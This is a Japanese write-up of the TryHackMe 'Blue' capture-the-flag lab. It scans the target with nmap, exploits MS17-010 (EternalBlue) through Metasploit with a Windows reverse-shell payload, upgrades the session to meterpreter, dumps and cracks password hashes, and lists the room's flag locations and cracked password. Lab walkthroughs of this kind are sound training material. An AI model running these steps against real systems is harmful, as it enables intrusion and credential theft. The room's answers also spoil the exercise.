👨‍💻

【TryHackMe】Blue 攻略記録

に公開

【TryHackMe】Blue 攻略記録

概要

この投稿は TryHackMe の Blue ルームの攻略記録です。
このルームは Windows 環境を対象に、一般的な設定ミス を突く攻撃手法を学ぶことを目的としています。
難易度は easy、推定所要時間は 30 分です。

項目 内容
ルーム名 Blue
プラットフォーム TryHackMe
難易度 easy
所要時間 30 分
使用技術 Windows, Metasploit, 権限昇格モジュール, hashdump 等

学習目標と目的

  • Windows 環境における設定ミスを突く手法を理解する
  • Metasploit や meterpreter を使って侵入/権限昇格を体験する
  • パスワードハッシュの取得とクラッキングを行う
  • フラグの探索と設置場所の意味を理解する

攻略の流れ

Task 1: Recon

  • マシンを起動し、まずはネットワーク調査。
  • nmap -sV -Pn -oN <ファイル名> -v <IP> --script vuln を実行。

nmap オプション解説

オプション 説明
-sV バージョン検出スキャンを有効にし、開いているポートで動作しているサービスとそのバージョンを推測します。バナー情報などを取得して、脆弱性判断に活用します。
-Pn ホストの稼働確認(ping)をスキップして、すべてのホストに対してポートスキャンを実施します。ファイアウォールやICMP無効設定のマシンに対しても有効です。
-oN <ファイル名> スキャン結果を通常(Normal)フォーマットでファイルに保存します。-oA との違いは保存形式のみ。記録用途に便利です。
-v 詳細(verbose)モードを有効にして、スキャンの進行状況や中間結果を逐次出力します。実行中の確認がしやすくなります。
<IP> 対象ホストの IP アドレスを指定します。THM の仮想マシンなど、実行時のターゲットに置き換えて使います。
--script vuln Nmap の NSE(Nmap Scripting Engine)で用意されている vuln カテゴリのスクリプトを実行します。既知の脆弱性を検出する自動化スクリプト群です。

💡 --script vuln は時間がかかることがあります。調査時間に余裕をもって実行しましょう。
🔎 --script vuln により、SMB, HTTP, FTP などの脆弱性が自動的に列挙されます。Blueルームでは特に SMBv1(MS17-010) の脆弱性を検出する際に有用です。

nmap 実行結果

※ SMB サービス (port 445) が Microsoft Windows 7 - 10 として表示され、ms17-010 脆弱性が検出されていることがわかります。

Task 2: Gain Access

  • 脆弱性の特定結果から、ターゲットは MS17-010(EternalBlue)の脆弱性を持つ Windows 7 マシンと判断。
  • Metasploit を使って侵入を試みる。

利用するモジュールの確認と選択

  • msfconsole を実行。

  • search ms17-010 を実行。

  • 使用するモジュールの番号を use <番号> で指定する。

  • show options でオプションの確認を実行。

  • set RHOSTS <ターゲットIP> でターゲットの IP アドレスを設定する。

  • set LHOST <自分のIP> で攻撃者側のIP(自分のVPN IPなど)を設定する。

  • Windowsのリバースシェルコードを設定する。

  • exploit で攻撃を実行。

Task 3: Escalate

  • Ctrl+Zでセッションをバックグランドにする。その後、searchコマンドでmeterpreterを検索する。

  • use <番号>meterpreter を使用し、show options で必要なオプションを確認すると SESSION というオプションを設定する必要があることが分かる。

  • sessions -l でセッションの一覧を表示する。

  • set SESSION <セッションID> で確認したセッションIDを設定する。

  • exploit で攻撃を実行後、sessions -l でセッションの一覧を表示し、meterpreter のセッションが作成されていることを確認する。

  • 新しく作成されたセッションを選択する。

  • shell コマンドでWindowsのシェルを開きユーザーを確認する。

Task 4: Cracking

  • Ctrl+Zでセッションをバックグランドにする。その後 hashdump を使って非標準ユーザーのパスワードハッシュを取得する。

💡 ハッシュ形式の見方

  • 各行は ユーザー名:ユーザーID:LMハッシュ:NTLMハッシュ::: の形式。
ユーザー名 ユーザーID LMハッシュ NTLMハッシュ
Administrator 500 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
Jon 1000 aad3b435b51404eeaad3b435b51404ee ffb43f0de35be4d9917ac0cc8ad57f8d
  • LMハッシュ がすべて aad3b435... である場合、Windowsのセキュリティ設定により無効化されていると推定。
  • 実際にクラック対象とするのは NTLMハッシュ 。上記の例では Jon のハッシュが唯一有効。
  • Jon というユーザーのパスワードハッシュ ffb43f0de35be4d9917ac0cc8ad57f8dCrackStation というサイトで解析すると、パスワードが alqfna22 ということが判明。

Task 5: Find flags

  • 検索ワード flag で検索すると3つのフラグが設置されている。

  • Flag1: C:\\flag1.txt

  • Flag2: C:\\Windows\\System32\\config\\flag2.txt

  • Flag3: C:\\Users\\Jon\\Documents\\flag3.txt


詰まったポイント・気づき

  • 標的マシンが ping に応答しない設定である点に注意(ICMP blocking)
  • Exploit 前にペイロードを設定することをタスクで明示的に指示されている点(set payload windows/x64/shell/reverse_tcp
  • フラグが Windows の仕様で消失することがあるという注意があるため、探すタイミングや手順を洗練させる必要性

振り返りと今後

このルームを通じて、Windows 環境における典型的なミス(設定ミスや初期権限での侵入)を体験できました。


関連リンク・参考資料


使用環境

項目 内容
OS Kali Linux
VPN / 接続 TryHackMe OpenVPN
主要ツール nmap, metasploit-framework, meterpreter, john

Discussion